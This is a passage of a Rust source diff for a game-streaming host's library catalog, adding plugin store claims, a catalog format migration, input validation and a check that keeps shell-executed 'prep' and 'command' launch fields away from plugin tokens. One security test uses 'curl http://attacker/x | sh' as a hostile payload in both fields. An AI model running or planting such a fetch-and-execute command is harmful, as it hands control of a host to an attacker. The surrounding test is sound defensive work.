V2(Catalog), + Legacy(Vec), +} + +/// Load the whole catalog (default + non-fatal if the file is absent or malformed). +pub fn load_catalog() -> Catalog { match std::fs::read_to_string(custom_path()) { - Ok(raw) => serde_json::from_str(&raw).unwrap_or_else(|e| { - tracing::warn!(error = %e, "library.json malformed — ignoring custom entries"); - Vec::new() - }), - Err(_) => Vec::new(), + Ok(raw) => match serde_json::from_str::(&raw) { + Ok(LibraryFile::V2(c)) => c, + Ok(LibraryFile::Legacy(entries)) => Catalog { + entries, + claims: BTreeMap::new(), + }, + Err(e) => { + tracing::warn!(error = %e, "library.json malformed — ignoring custom entries"); + Catalog::default() + } + }, + Err(_) => Catalog::default(), } } -/// Serve a custom/provider entry's stored **local** art file for one [`ArtKind`] — the non-Steam -/// branch of the art proxy (`GET /library/art/custom:/`). `id` is the bare custom id (the -/// `custom:` prefix already stripped by the handler). `None` if the entry is unknown, has no art of -/// that kind, or that art value isn't a servable local file (e.g. an `http` URL the client fetches -/// itself). Blocking IO — call off the async runtime. -pub fn custom_local_art_bytes(id: &str, kind: ArtKind) -> Option<(Vec, String)> { - let entry = load_custom().into_iter().find(|e| e.id == id)?; - let field = match kind { - ArtKind::Portrait => entry.art.portrait, - ArtKind::Hero => entry.art.hero, - ArtKind::Logo => entry.art.logo, - ArtKind::Header => entry.art.header, - }?; +/// Load just the entries — the read path every library surface uses. +pub fn load_custom() -> Vec { + load_catalog().entries +} + +/// The active store claims (`store → provider`). Read per library scan to suppress the built-in +/// scanner a plugin has taken over (D2). +pub fn claimed_stores() -> BTreeMap { + load_catalog().claims +} + +/// The library id a stored entry surfaces as. **The single source of truth for the mapping** — +/// [`From for GameEntry`] and every id→entry lookup go through it, so the id scheme +/// can't drift between the catalog, the art proxy and the launch resolver. +/// +/// A **claimed** entry (D2) gets the deterministic `:` its built-in scanner used +/// to produce — `steam:440`, `heroic:legendary:Quail` — so entry ids, GameStream FNV-1a app ids, +/// client art caches and Moonlight pins all survive the migration to a plugin untouched. That is the +/// whole point of the claim: extraction must be invisible to everything downstream. An unclaimed +/// entry keeps the opaque host-assigned `custom:`. +pub(crate) fn library_id_for(e: &CustomEntry) -> String { + match (e.store.as_deref(), e.external_id.as_deref()) { + (Some(store), Some(external)) => format!("{store}:{external}"), + _ => format!("custom:{}", e.id), + } +} + +/// The **source id** an entry is toggled by (WP2.6): its claimed store when it has one, else its +/// provider id. `None` for a manual entry — the custom store is not a source and can never be +/// switched off. Since the claimed store id, the provider id and the old scanner id are all the same +/// string by construction, a user's existing disabled state carries over verbatim. +pub(crate) fn source_id_for(e: &CustomEntry) -> Option<&str> { + e.store.as_deref().or(e.provider.as_deref()) +} + +/// The stored entry a full **library id** refers to, or `None`. The art proxy resolves *any* id this +/// way before falling back to the legacy per-store branches (WP1.2), which is what lets a plugin's +/// entries be served regardless of what their ids look like. +pub fn entry_for_library_id(library_id: &str) -> Option { + load_custom() + .into_iter() + .find(|e| library_id_for(e) == library_id) +} + +/// Serve a stored entry's **local** art file for one [`ArtKind`] — the `library.json` branch of the +/// art proxy (`GET /library/art//`). `None` if the id names no stored entry, it has +/// no art of that kind, or that art value isn't a servable local file (e.g. an `http` URL the client +/// fetches itself). Blocking IO — call off the async runtime. +pub fn library_local_art_bytes(library_id: &str, kind: ArtKind) -> Option<(Vec, String)> { + let field = art_field(&entry_for_library_id(library_id)?.art, kind)?; is_local_art_path(&field) .then(|| local_art_bytes(&field)) .flatten() } -fn save_custom(entries: &[CustomEntry]) -> Result<()> { +/// One [`Artwork`] field by kind — the tiny mapping the proxy and the box-art ladder share. +pub(crate) fn art_field(art: &Artwork, kind: ArtKind) -> Option { + match kind { + ArtKind::Portrait => art.portrait.clone(), + ArtKind::Hero => art.hero.clone(), + ArtKind::Logo => art.logo.clone(), + ArtKind::Header => art.header.clone(), + } +} + +/// Persist the catalog in the **v2** shape (write-then-rename, restrictive perms). Every mutation +/// path funnels through here, so a v1 file is upgraded by the first write. +fn save_catalog(catalog: &Catalog) -> Result<()> { let dir = pf_paths::config_dir(); // Owner-private dir (0700 / SYSTEM+Admins DACL) so a non-privileged local user can't plant a // library.json whose `prep`/`launch` commands the host would later execute — the same trust // boundary hooks.json and the mgmt token already use. pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; - let json = serde_json::to_string_pretty(entries)?; + let json = serde_json::to_string_pretty(catalog)?; // Write-then-rename so a crash mid-write never truncates the catalog; `write_secret_file` gives // the temp file its restrictive perms (0600 / SYSTEM+Admins DACL) before the rename carries them // to the final path. @@ -177,19 +280,26 @@ fn new_id(title: &str) -> String { hex::encode(&Sha256::digest(format!("{title}:{nanos}").as_bytes())[..6]) } -/// Outcome of a manual mutation against an id — distinguishes "no such entry" from "exists, -/// but a provider owns it" (the mgmt layer maps the latter to 409, not 404). +/// Outcome of a mutation — distinguishes "no such entry" from the two conflict cases the mgmt +/// layer maps to 409 rather than 404. pub enum MutateOutcome { Done(T), NotFound, /// The entry belongs to this provider — mutate it through the provider reconcile API /// (or remove the whole provider set); manual edits would be clobbered at the next sync. ProviderOwned(String), + /// The requested store claim is already held by a DIFFERENT provider (D2: one provider per + /// store). Refusing is the point — two plugins both emitting `steam:440` would collide on entry + /// ids, so the second claimant is told who holds it instead of silently taking over. + StoreClaimed { + store: String, + provider: String, + }, } /// Create a custom (manual) entry, returning it with its assigned id. pub fn add_custom(input: CustomInput) -> Result { - let mut entries = load_custom(); + let mut catalog = load_catalog(); let entry = CustomEntry { id: new_id(&input.title), title: input.title, @@ -198,11 +308,13 @@ pub fn add_custom(input: CustomInput) -> Result { prep: input.prep, provider: None, external_id: None, + store: None, + role: input.role, detect: input.detect, meta: input.meta, }; - entries.push(entry.clone()); - save_custom(&entries)?; + catalog.entries.push(entry.clone()); + save_catalog(&catalog)?; emit_changed("manual"); Ok(entry) } @@ -210,8 +322,8 @@ pub fn add_custom(input: CustomInput) -> Result { /// Replace a manual entry's fields (id preserved). Provider-owned entries are refused — /// their state belongs to the provider's reconcile (RFC §8 ownership rule). pub fn update_custom(id: &str, input: CustomInput) -> Result> { - let mut entries = load_custom(); - let Some(slot) = entries.iter_mut().find(|e| e.id == id) else { + let mut catalog = load_catalog(); + let Some(slot) = catalog.entries.iter_mut().find(|e| e.id == id) else { return Ok(MutateOutcome::NotFound); }; if let Some(provider) = &slot.provider { @@ -221,31 +333,61 @@ pub fn update_custom(id: &str, input: CustomInput) -> Result Result> { - let mut entries = load_custom(); - let Some(entry) = entries.iter().find(|e| e.id == id) else { + let mut catalog = load_catalog(); + let Some(entry) = catalog.entries.iter().find(|e| e.id == id) else { return Ok(MutateOutcome::NotFound); }; if let Some(provider) = &entry.provider { return Ok(MutateOutcome::ProviderOwned(provider.clone())); } - entries.retain(|e| e.id != id); - save_custom(&entries)?; + catalog.entries.retain(|e| e.id != id); + save_catalog(&catalog)?; emit_changed("manual"); Ok(MutateOutcome::Done(())) } // ------------------------------------------------------------------ providers (RFC §8) +/// The **operator-privileged field** set in a library payload, if the payload carries one — the +/// fields whose contents the host later executes as the host user. +/// +/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run +/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution +/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a +/// human typed the command into the admin console. Any lane that is not the operator's own token +/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the +/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two +/// copies of the very primitive the `/hooks` carve-out exists to withhold. +/// +/// Returns the field name for the error message, so a plugin author sees exactly what was refused. +/// The other launch kinds (`steam_appid`, `steam_ui`, `launcher_ui`, `epic`, `gog`, `aumid`, `playnite`, +/// `lutris_id`, `heroic`) are all +/// host-resolved from a validated id and stay open to every lane — a provider plugin can still +/// publish its whole catalogue, it just cannot hand the host a shell command to run. +pub fn privileged_field( + launch: Option<&LaunchSpec>, + prep: &[crate::hooks::PrepCmd], +) -> Option<&'static str> { + if !prep.is_empty() { + return Some("prep"); + } + if launch.is_some_and(|l| l.kind == "command") { + return Some("launch.kind = \"command\""); + } + None +} + /// Provider ids are path segments, event sources, and console labels: keep them tame. /// `manual` is reserved (it is the no-provider sentinel in `library.changed`). pub fn validate_provider_name(provider: &str) -> Result<(), String> { @@ -265,6 +407,26 @@ pub fn validate_provider_name(provider: &str) -> Result<(), String> { } } +/// Store claims become the **prefix of every claimed entry's library id**, so they are far more +/// constrained than a provider name: no dots (an id is split on the first `:`, and a dotted store +/// would read as a hostname in logs), and the two host-owned namespaces are off-limits — `custom` is +/// the unclaimed-entry namespace and `manual` is the no-provider sentinel in `library.changed`. +pub fn validate_store_claim(store: &str) -> Result<(), String> { + if store == "custom" || store == "manual" { + return Err(format!("store id `{store}` is reserved")); + } + let ok = !store.is_empty() + && store.len() <= 32 + && store + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || matches!(b, b'-' | b'_')); + if ok { + Ok(()) + } else { + Err("store id must be 1–32 chars of [a-z0-9_-]".into()) + } +} + /// Validate a reconcile payload: non-empty titles and unique, non-empty external ids (the /// diff key — a duplicate would make ownership of the surviving entry ambiguous). pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), String> { @@ -282,6 +444,55 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St e.external_id )); } + // Closed-vocabulary launch kinds are checked on the way IN as well as at launch time, so a + // plugin gets a 400 it can act on rather than a tile that silently refuses to start. + if let Some(launch) = &e.launch { + if launch.kind == "steam_ui" && !valid_steam_ui(&launch.value) { + return Err(format!( + "entries[{i}]: `launch.value` for kind `steam_ui` must be `bigpicture` or `desktop`" + )); + } + // Refused rather than silently accepted, because the failure is otherwise invisible + // until a user clicks the tile: an unresolvable value yields no command at launch time. + if launch.kind == "launcher_ui" && !valid_launcher_ui(&launch.value) { + return Err(format!( + "entries[{i}]: `launch.value` for kind `launcher_ui` names a launcher this host \ + cannot open (`{}`)", + launch.value + )); + } + // The value is interpolated into a `playnite://` URI, so it is charset-checked here as + // well as at launch time — same reasoning as the two kinds above. + if launch.kind == "playnite" && !valid_playnite_id(&launch.value) { + return Err(format!( + "entries[{i}]: `launch.value` for kind `playnite` must be a Playnite game GUID" + )); + } + // `!`, both straight off `MicrosoftGame.config`. The host completes it + // into an AUMID at launch (it can read the publisher hash; the runner cannot), so the + // shape is checked here where the author can still act on the error. + if launch.kind == "xbox" && !valid_aumid(&launch.value) { + return Err(format!( + "entries[{i}]: `launch.value` for kind `xbox` must be `!`" + )); + } + } + if let Some(marker) = &e.detect.env_marker { + if !valid_env_key(&marker.key) { + return Err(format!( + "entries[{i}]: `detect.env_marker.key` must be 1–64 chars of [A-Za-z0-9_]" + )); + } + if marker + .value + .as_ref() + .is_some_and(|v| v.len() > MAX_ENV_VALUE) + { + return Err(format!( + "entries[{i}]: `detect.env_marker.value` must be at most {MAX_ENV_VALUE} chars" + )); + } + } } Ok(()) } @@ -293,6 +504,7 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St fn reconcile_entries( entries: &mut Vec, provider: &str, + store: Option<&str>, inputs: Vec, ) -> Vec { // The provider's current entries, keyed by its own stable id. @@ -317,6 +529,10 @@ fn reconcile_entries( prep: input.prep, provider: Some(provider.to_string()), external_id: Some(input.external_id), + // Stamping the claim per entry is what makes the surfaced id deterministic + // (`:`) — see `library_id_for`. + store: store.map(str::to_string), + role: input.role, detect: input.detect, meta: input.meta, }); @@ -326,43 +542,86 @@ fn reconcile_entries( result } -/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`). -/// The caller validates the name and payload first. Emits `library.changed` with the provider -/// as the source. +/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`), optionally +/// under a **store claim** (D2: `?store=steam`). The caller validates the name and payload first. +/// Emits `library.changed` with the provider as the source. +/// +/// Claiming is idempotent for the holder and refused for anyone else. A provider holds at most one +/// store, so claiming a new one releases whatever it held before — otherwise an abandoned claim would +/// go on suppressing a built-in scanner with nothing to replace it. pub fn reconcile_provider( provider: &str, + store: Option<&str>, inputs: Vec, -) -> Result> { - let mut entries = load_custom(); - let result = reconcile_entries(&mut entries, provider, inputs); - save_custom(&entries)?; +) -> Result>> { + let mut catalog = load_catalog(); + if let Some(store) = store { + if let Some(holder) = catalog.claims.get(store) { + if holder != provider { + return Ok(MutateOutcome::StoreClaimed { + store: store.to_string(), + provider: holder.clone(), + }); + } + } + let previous: Vec = catalog + .claims + .iter() + .filter(|(s, p)| p.as_str() == provider && s.as_str() != store) + .map(|(s, _)| s.clone()) + .collect(); + for stale in previous { + tracing::info!(provider, released = %stale, claimed = store, "library: provider moved its store claim"); + catalog.claims.remove(&stale); + } + if catalog + .claims + .insert(store.to_string(), provider.to_string()) + .is_none() + { + tracing::info!(provider, store, "library: store claimed by a provider"); + } + } + let result = reconcile_entries(&mut catalog.entries, provider, store, inputs); + save_catalog(&catalog)?; emit_changed(provider); - Ok(result) + Ok(MutateOutcome::Done(result)) } -/// Remove every entry of `provider` (RFC §8: `DELETE /library/provider/{provider}` — the -/// clean-uninstall path). Returns how many were removed; no event when nothing was. +/// Remove every entry of `provider` **and release its store claim** (RFC §8: +/// `DELETE /library/provider/{provider}` — the clean-uninstall path). Returns how many entries were +/// removed; no event when nothing changed at all. +/// +/// Releasing here — and only here — is what makes uninstalling a library plugin bring its built-in +/// scanner straight back, with no restart and nothing to undo by hand. pub fn delete_provider(provider: &str) -> Result { - let mut entries = load_custom(); - let before = entries.len(); - entries.retain(|e| e.provider.as_deref() != Some(provider)); - let removed = before - entries.len(); - if removed > 0 { - save_custom(&entries)?; + let mut catalog = load_catalog(); + let before = catalog.entries.len(); + catalog + .entries + .retain(|e| e.provider.as_deref() != Some(provider)); + let removed = before - catalog.entries.len(); + let claims_before = catalog.claims.len(); + catalog.claims.retain(|_, p| p != provider); + let released = claims_before - catalog.claims.len(); + if removed > 0 || released > 0 { + if released > 0 { + tracing::info!(provider, released, "library: store claim released"); + } + save_catalog(&catalog)?; emit_changed(provider); } Ok(removed) } -/// The prep/undo steps for a library id — `custom:` entries only (the other stores have no +/// The prep/undo steps for a library id — any **stored** entry (the in-host scanners have no /// per-title config surface; a GameStream `apps.json` entry carries its own `prep` instead). +/// +/// Resolved through [`entry_for_library_id`] rather than by stripping a `custom:` prefix, so a +/// claimed entry's prep still runs: after extraction a `steam:440` entry is a stored one, and +/// per-title prep is exactly the kind of thing an operator sets on a game they play. pub fn prep_for(library_id: &str) -> Vec { - let Some(id) = library_id.strip_prefix("custom:") else { - return Vec::new(); - }; - load_custom() - .into_iter() - .find(|e| e.id == id) + entry_for_library_id(library_id) .map(|e| e.prep) .unwrap_or_default() } @@ -375,13 +634,7 @@ fn emit_changed(source: &str) { }); } -/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it -/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax). -/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping -/// ([`windows_launch_for`]). -pub(crate) fn valid_steam_appid(value: &str) -> bool { - !value.is_empty() && value.bytes().all(|b| b.is_ascii_digit()) -} +// `valid_steam_appid` moved to `launch.rs` (WP1.1) — it validates a launch value, not a store entry. #[cfg(test)] mod tests { @@ -396,6 +649,8 @@ mod tests { prep: Vec::new(), provider: None, external_id: None, + store: None, + role: GameRole::Game, detect: DetectHint::default(), meta: GameMeta::default(), } @@ -408,6 +663,7 @@ mod tests { art: Artwork::default(), launch: None, prep: Vec::new(), + role: GameRole::Game, detect: DetectHint::default(), meta: GameMeta::default(), } @@ -429,6 +685,120 @@ mod tests { assert_eq!(g.meta.platform.as_deref(), Some("PS2")); } + /// D2's core promise: a **claimed** entry is indistinguishable from what the built-in scanner + /// produced. Same id, same store badge — plus the provider attribution the scanner never had. + #[test] + fn a_claimed_entry_reproduces_the_scanner_identity() { + let mut e = manual("host-assigned", "Portal 2"); + e.provider = Some("steam".into()); + e.external_id = Some("620".into()); + e.store = Some("steam".into()); + assert_eq!(library_id_for(&e), "steam:620"); + let g: GameEntry = e.clone().into(); + assert_eq!(g.id, "steam:620", "exactly what the scanner emitted"); + assert_eq!(g.store, "steam", "the store badge, not `custom`"); + assert_eq!( + g.provider.as_deref(), + Some("steam"), + "attribution rides along too" + ); + + // Unclaimed provider entries are untouched by any of this — rom-manager/playnite keep the + // opaque host id they have always had. + let mut u = manual("abc", "Chrono Trigger"); + u.provider = Some("romm".into()); + u.external_id = Some("rom-1".into()); + assert_eq!(library_id_for(&u), "custom:abc"); + assert_eq!(GameEntry::from(u).store, "custom"); + + // The source a toggle addresses: the claimed store when there is one, else the provider. + assert_eq!(source_id_for(&e), Some("steam")); + let mut r = manual("z", "T"); + r.provider = Some("romm".into()); + assert_eq!(source_id_for(&r), Some("romm")); + assert_eq!( + source_id_for(&manual("m", "Manual")), + None, + "never hideable" + ); + } + + /// A claimed entry keeps its `:` id across reconciles no matter what the + /// host-assigned id does — which is what keeps GameStream's FNV-1a app ids, client art caches + /// and Moonlight pins valid through the migration (the whole point of D2). + #[test] + fn claimed_ids_are_deterministic_across_reconciles() { + let mut entries = Vec::new(); + let r1 = reconcile_entries( + &mut entries, + "steam", + Some("steam"), + vec![input("440", "Team Fortress 2"), input("620", "Portal 2")], + ); + let ids: Vec = r1.iter().map(library_id_for).collect(); + assert_eq!(ids, ["steam:440", "steam:620"]); + + // Re-sync with a renamed title and a new entry: the surfaced ids for surviving titles are + // byte-identical, and a brand-new title's id is derived, not random. + let r2 = reconcile_entries( + &mut entries, + "steam", + Some("steam"), + vec![ + input("440", "Team Fortress 2 (2026)"), + input("70", "Half-Life"), + ], + ); + let ids2: Vec = r2.iter().map(library_id_for).collect(); + assert_eq!(ids2, ["steam:440", "steam:70"]); + + // Dropping the claim on a later reconcile reverts them to opaque custom ids — the entries + // are the same rows, so this is exactly the "plugin stopped claiming" degradation. + let r3 = reconcile_entries(&mut entries, "steam", None, vec![input("440", "TF2")]); + assert!(library_id_for(&r3[0]).starts_with("custom:")); + } + + /// A plugin's `launchers(cfg)` tile, end to end: `role: "launcher"` survives the reconcile onto + /// the stored entry AND onto the `GameEntry` a client renders, keeps the deterministic claimed + /// id, and stays out of the wire for ordinary games. + /// + /// This is the path the lutris and heroic plugins publish through, and nothing exercised it + /// before — every earlier test reconciled `GameRole::Game`, which is the serde default, so the + /// field could have been dropped anywhere between the payload and the client without a failure. + #[test] + fn a_launcher_entry_survives_reconcile_onto_the_wire() { + let mut launcher = input("launcher", "Lutris"); + launcher.role = GameRole::Launcher; + launcher.launch = Some(LaunchSpec { + kind: "launcher_ui".into(), + value: "lutris".into(), + }); + + let mut entries = Vec::new(); + let out = reconcile_entries( + &mut entries, + "lutris", + Some("lutris"), + vec![launcher, input("42", "Some Game")], + ); + + assert_eq!(library_id_for(&out[0]), "lutris:launcher"); + assert_eq!(out[0].role, GameRole::Launcher); + assert_eq!(out[1].role, GameRole::Game, "the game is untouched"); + + // Onto the wire: the client sees `role`, and `is_game` keeps it off ordinary entries. + let tile: GameEntry = out[0].clone().into(); + assert_eq!(tile.role, GameRole::Launcher); + let v = serde_json::to_value(&tile).unwrap(); + assert_eq!(v["role"], "launcher"); + let game: GameEntry = out[1].clone().into(); + let vg = serde_json::to_value(&game).unwrap(); + assert!( + vg.get("role").is_none(), + "a game's role stays off the wire, so old clients are unaffected" + ); + } + /// The metadata contract on the wire and on disk: fields serialize FLAT (no `meta` nesting — /// clients and plugins see `platform` beside `title`), absent fields vanish entirely, and a /// pre-metadata `library.json` / payload still parses (all-optional). @@ -477,6 +847,7 @@ mod tests { let r1 = reconcile_entries( &mut entries, "romm", + None, vec![input("rom-a", "Game A"), input("rom-b", "Game B")], ); assert_eq!(r1.len(), 2); @@ -488,6 +859,7 @@ mod tests { let r2 = reconcile_entries( &mut entries, "romm", + None, vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")], ); assert_eq!(r2.len(), 2); @@ -506,6 +878,7 @@ mod tests { let r3 = reconcile_entries( &mut entries, "romm", + None, vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")], ); assert_eq!( @@ -526,7 +899,7 @@ mod tests { .any(|e| e.id == "oth1" && e.provider.as_deref() == Some("itch"))); // Empty payload = remove everything the provider owns (same as DELETE). - let r4 = reconcile_entries(&mut entries, "romm", Vec::new()); + let r4 = reconcile_entries(&mut entries, "romm", None, Vec::new()); assert!(r4.is_empty()); assert_eq!( entries.len(), @@ -535,6 +908,127 @@ mod tests { ); } + /// `library.json` v1 (a bare array) must keep loading, and v2 (the claims object) must round + /// trip. This is the only migration in the whole program — get it wrong and an existing host + /// silently loses its manual entries on upgrade. + #[test] + fn v1_and_v2_library_files_both_load() { + // v1: exactly what a shipped host has on disk today. + let v1 = r#"[{"id":"abc","title":"Old Manual"}]"#; + let c = match serde_json::from_str::(v1).unwrap() { + LibraryFile::Legacy(entries) => Catalog { + entries, + claims: BTreeMap::new(), + }, + LibraryFile::V2(_) => panic!("an array must not parse as v2"), + }; + assert_eq!(c.entries.len(), 1); + assert_eq!(c.entries[0].title, "Old Manual"); + assert!(c.claims.is_empty()); + + // v2, including a claim. + let v2 = r#"{"entries":[{"id":"abc","title":"New"}],"claims":{"steam":"steam"}}"#; + let c = match serde_json::from_str::(v2).unwrap() { + LibraryFile::V2(c) => c, + LibraryFile::Legacy(_) => panic!("an object must not parse as v1"), + }; + assert_eq!(c.entries.len(), 1); + assert_eq!(c.claims.get("steam").map(String::as_str), Some("steam")); + + // A v2 file with no claims key at all (what the first write after upgrade produces before + // anything is claimed) still loads. + let bare = r#"{"entries":[]}"#; + assert!(matches!( + serde_json::from_str::(bare).unwrap(), + LibraryFile::V2(_) + )); + + // And what we WRITE is v2, so one mutation upgrades the file in place. + let written = serde_json::to_string(&Catalog::default()).unwrap(); + assert!(written.contains("\"entries\"")); + assert!(written.contains("\"claims\"")); + } + + #[test] + fn store_claim_validation() { + assert!(validate_store_claim("steam").is_ok()); + assert!(validate_store_claim("epic-games").is_ok()); + assert!(validate_store_claim("xbox_pc").is_ok()); + // The two host-owned namespaces are off-limits. + assert!(validate_store_claim("custom").is_err()); + assert!(validate_store_claim("manual").is_err()); + assert!(validate_store_claim("").is_err()); + assert!(validate_store_claim("Steam").is_err()); // no uppercase + // A dot would read as a hostname in a log line and muddies the `store:id` split. + assert!(validate_store_claim("my.store").is_err()); + assert!(validate_store_claim(&"s".repeat(33)).is_err()); + } + + /// The closed-vocabulary fields are rejected at the door, so a plugin gets a 400 rather than a + /// tile that silently refuses to launch. + #[test] + fn payload_validation_covers_the_new_closed_vocabularies() { + let with_launch = |kind: &str, value: &str| { + let mut i = input("a", "A"); + i.launch = Some(LaunchSpec { + kind: kind.into(), + value: value.into(), + }); + i + }; + assert!(validate_provider_payload(&[with_launch("steam_ui", "bigpicture")]).is_ok()); + assert!(validate_provider_payload(&[with_launch("steam_ui", "desktop")]).is_ok()); + assert!(validate_provider_payload(&[with_launch("steam_ui", "gamepad")]).is_err()); + assert!(validate_provider_payload(&[with_launch("steam_ui", "")]).is_err()); + // Other kinds are unconstrained here (the host validates them per-kind at launch). + assert!(validate_provider_payload(&[with_launch("command", "anything")]).is_ok()); + + let with_env = |key: &str, value: Option<&str>| { + let mut i = input("a", "A"); + i.detect.env_marker = Some(EnvMarker { + key: key.into(), + value: value.map(str::to_string), + }); + i + }; + assert!(validate_provider_payload(&[with_env("HEROIC_APP_NAME", Some("Quail"))]).is_ok()); + assert!(validate_provider_payload(&[with_env("BAD-KEY", None)]).is_err()); + assert!(validate_provider_payload(&[with_env("", None)]).is_err()); + assert!( + validate_provider_payload(&[with_env("K", Some(&"x".repeat(MAX_ENV_VALUE + 1)))]) + .is_err() + ); + } + + /// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host + /// later hands to a shell are operator-only. Everything else — including every host-resolved + /// launch kind — stays open, so a provider plugin can publish its whole catalogue. + #[test] + fn privileged_field_is_command_execution_only() { + let cmd = LaunchSpec { + kind: "command".into(), + value: "curl http://attacker/x | sh".into(), + }; + let steam = LaunchSpec { + kind: "steam_appid".into(), + value: "70".into(), + }; + let prep = vec![crate::hooks::PrepCmd { + run: "curl http://attacker/x | sh".into(), + undo: None, + }]; + + assert_eq!( + privileged_field(Some(&cmd), &[]), + Some("launch.kind = \"command\"") + ); + assert_eq!(privileged_field(None, &prep), Some("prep")); + assert_eq!(privileged_field(Some(&steam), &prep), Some("prep")); + // The ordinary provider catalogue: nothing privileged, so no lane is refused. + assert_eq!(privileged_field(Some(&steam), &[]), None); + assert_eq!(privileged_field(None, &[]), None); + } + #[test] fn provider_name_and_payload_validation() { assert!(validate_provider_name("romm").is_ok()); diff --git a/crates/punktfunk-host/src/library/detect.rs b/crates/punktfunk-host/src/library/detect.rs index 7b65a518..83d602d4 100644 --- a/crates/punktfunk-host/src/library/detect.rs +++ b/crates/punktfunk-host/src/library/detect.rs @@ -19,15 +19,34 @@ use super::*; /// An environment variable a launcher stamps onto the game's process, identifying it. -#[derive(Clone, Debug, PartialEq, Eq)] +/// +/// Serializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin +/// that knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to +/// be able to say so, since after extraction the host no longer reads that launcher's files itself. +#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, ToSchema)] pub struct EnvMarker { /// The variable name (e.g. `HEROIC_GAME_ID`). + #[schema(example = "HEROIC_APP_NAME")] pub key: String, /// The exact value to require, when the launcher's value identifies *this* title. `None` matches /// the key's mere presence — only safe for launchers that run one game at a time. + #[serde(default, skip_serializing_if = "Option::is_none")] pub value: Option, } +/// The env-var name charset a hint may carry: `[A-Za-z0-9_]{1,64}`, POSIX-shaped. An out-of-charset +/// key is not a real environment variable, so accepting one could only ever produce a matcher rule +/// that never fires (or, with an absurd length, a needless per-process comparison cost). +pub(crate) fn valid_env_key(key: &str) -> bool { + !key.is_empty() + && key.len() <= 64 + && key.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_') +} + +/// Longest env-var VALUE a hint may pin. Values are compared against every candidate process's +/// environment, so an unbounded one is a (small) DoS lever and never a legitimate game id. +pub(crate) const MAX_ENV_VALUE: usize = 256; + /// The signals that identify a launched title's process(es). Every field is optional and /// independent; an all-`None` spec means "this title can't be tracked" (the lease degrades to /// [`crate::gamelease::LeaseKind::Untracked`] and both lifetime behaviors stay inert for it). @@ -115,6 +134,11 @@ impl DetectSpec { self.install_dir = self.install_dir.or(from.install_dir); self.exe = self.exe.or(from.exe); self.process_name = self.process_name.or(from.process_name); + // D3: the two store-derived signals are fillable from a hint now that the store may live in + // a plugin. Same rule as the other three — the host's own finding wins where it has one, + // which for a provider entry is moot (the host scanned nothing for it). + self.steam_appid = self.steam_appid.or(from.steam_appid); + self.env_marker = self.env_marker.or(from.env_marker); self } } @@ -143,12 +167,31 @@ pub struct DetectHint { /// — see [`DetectSpec::process_name`]. #[serde(default, skip_serializing_if = "Option::is_none")] pub process_name: Option, + /// The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest** + /// signal that exists — Steam wraps every launch, native or Proton, in + /// `reaper SteamLaunch AppId=`, whose lifetime is exactly the game's — so without it a + /// steam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub steam_appid: Option, + /// A launcher-stamped environment marker (D3) — see [`EnvMarker`]. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub env_marker: Option, } impl DetectHint { /// Whether the hint says anything at all (all-empty is treated as absent). pub fn is_empty(&self) -> bool { - self.trimmed().is_none() + self.trimmed().is_none() && self.steam_appid.is_none() && self.env_marker().is_none() + } + + /// The env marker, if it is well-formed. A malformed one is dropped rather than rejected, for + /// the same reason a blank `install_dir` is: hint fields are hand-writable plugin input, and the + /// matcher must never be handed a rule it can't honour. + fn env_marker(&self) -> Option<&EnvMarker> { + self.env_marker + .as_ref() + .filter(|m| valid_env_key(&m.key)) + .filter(|m| m.value.as_ref().is_none_or(|v| v.len() <= MAX_ENV_VALUE)) } /// The hint with blank fields dropped, or `None` if nothing is left. Console text inputs and @@ -166,14 +209,13 @@ impl DetectHint { /// A provider's hint becomes a spec — the one inbound path into [`DetectSpec`]. impl From<&DetectHint> for DetectSpec { fn from(h: &DetectHint) -> Self { - let Some((install_dir, exe, process_name)) = h.trimmed() else { - return Self::default(); - }; + let (install_dir, exe, process_name) = h.trimmed().unwrap_or((None, None, None)); Self { install_dir: install_dir.map(PathBuf::from), exe: exe.map(PathBuf::from), process_name: process_name.map(str::to_string), - ..Default::default() + steam_appid: h.steam_appid, + env_marker: h.env_marker().cloned(), } } } @@ -273,6 +315,7 @@ mod tests { install_dir: Some("".into()), exe: Some(" ".into()), process_name: Some("\t".into()), + ..Default::default() }; assert!(blank.is_empty()); assert!(DetectSpec::from(&blank).is_empty(), "nothing to match on"); @@ -281,6 +324,7 @@ mod tests { install_dir: Some(" /games/quail ".into()), exe: None, process_name: Some("quail".into()), + ..Default::default() }; assert!(!hint.is_empty()); let spec = DetectSpec::from(&hint); @@ -299,6 +343,7 @@ mod tests { install_dir: Some("/games/wrong".into()), exe: Some("/games/real/run".into()), process_name: None, + ..Default::default() }; let merged = found.or_hint(&hint); assert_eq!( @@ -317,6 +362,74 @@ mod tests { .is_empty()); } + /// D3: the two store-derived signals now ride the hint, because after extraction the host no + /// longer reads Steam's or Heroic's files itself. Without them a plugin's lease tracking would + /// silently degrade — reaper-exact to dir-prefix on Linux Steam, and gone entirely for Heroic + /// under Proton, where the env marker 